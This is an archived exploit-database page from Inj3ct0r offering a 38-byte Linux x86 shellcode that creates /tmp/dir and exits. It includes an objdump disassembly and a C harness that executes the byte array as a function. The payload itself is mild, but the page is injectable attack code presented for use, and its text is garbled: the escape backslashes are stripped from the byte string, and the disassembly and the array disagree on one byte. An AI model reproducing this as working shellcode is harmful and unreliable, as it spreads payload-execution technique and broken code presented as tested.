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linux/x86 sys_mkdir("/tmp/dir",1) shellcode 38 byt

Posted on 31 May 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>linux/x86 sys_mkdir(&quot;/tmp/dir&quot;,1) shellcode 38 bytes</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>====================================================
linux/x86 sys_mkdir(&quot;/tmp/dir&quot;,1) shellcode 38 bytes
====================================================

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /'             __  /'__`        / \__  /'__`                   0
0  /\_,     ___   /\_/\_      ___  ,_/ /   _ ___           1
1  /_/  /' _ ` / /_/_\_&lt;_  /'___  /    /`'__          0
0       / /    /   / \__/  \_  \_   /           1
1       \_ \_ \_\_   \____/ \____\ \__\ \____/ \_           0
0       /_//_//_/ \_ /___/  /____/ /__/ /___/  /_/           1
1                   \____/ &gt;&gt; Exploit database separated by exploit   0
0                   /___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1               #########################################              1
0               I'm gunslinger_ member from Inj3ct0r Team              1
1               #########################################              0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

/*
Name   : 38 bytes sys_mkdir(&quot;/tmp/dir&quot;,1) x86 linux shellcode
Date   : may, 31 2010
Author : gunslinger_ &lt;yudha.gunslinger[at]gmail.com&gt;
Web    : devilzc0de.com
blog   : gunslingerc0de.wordpress.com
tested on : linux debian
*/


/*
gunslinger@localhost:~/shellcode$ objdump -d mkdir

mkdir:     file format elf32-i386


Disassembly of section .text:

08048060 &lt;.text&gt;:
 8048060:	eb 17                	jmp    0x8048079
 8048062:	31 c0                	xor    %eax,%eax
 8048064:	31 db                	xor    %ebx,%ebx
 8048066:	31 d2                	xor    %edx,%edx
 8048068:	31 c9                	xor    %ecx,%ecx
 804806a:	b0 27                	mov    $0x27,%al
 804806c:	5b                   	pop    %ebx
 804806d:	b1 00                	mov    $0x0,%cl
 804806f:	cd 80                	int    $0x80
 8048071:	31 c0                	xor    %eax,%eax
 8048073:	b0 01                	mov    $0x1,%al
 8048075:	31 db                	xor    %ebx,%ebx
 8048077:	cd 80                	int    $0x80
 8048079:	e8 e4 ff ff ff       	call   0x8048062
 804807e:	2f                   	das    
 804807f:	74 6d                	je     0x80480ee
 8048081:	70 2f                	jo     0x80480b2
 8048083:	64                   	fs
 8048084:	69                   	.byte 0x69
 8048085:	72                   	.byte 0x72
gunslinger@localhost:~/shellcode$
*/

#include &lt;stdio.h&gt;

char shellcodedir[] =    &quot;xebx17&quot;             
			 &quot;x31xc0&quot;          
			 &quot;x31xdb&quot;          
			 &quot;x31xd2&quot;  
			 &quot;x31xc9&quot;  
			 &quot;xb0x27&quot;  
			 &quot;x5b&quot;      
			 &quot;xb1x01&quot;  
			 &quot;xcdx80&quot;  
			 &quot;x31xc0&quot;
			 &quot;xb0x01&quot;
			 &quot;x31xdb&quot;
			 &quot;xcdx80&quot;
			 &quot;xe8xe4xffxffxff&quot;
			 &quot;x2f&quot;
			 &quot;x74x6d&quot;
			 &quot;x70x2f&quot;
			 &quot;x64&quot;
			 &quot;x69&quot;
			 &quot;x72&quot;;
		
int main(int argc, char **argv)
{
  int (*func)();
  func = (int (*)()) shellcodedir;
  (int)(*func)();
}


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-05-31]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

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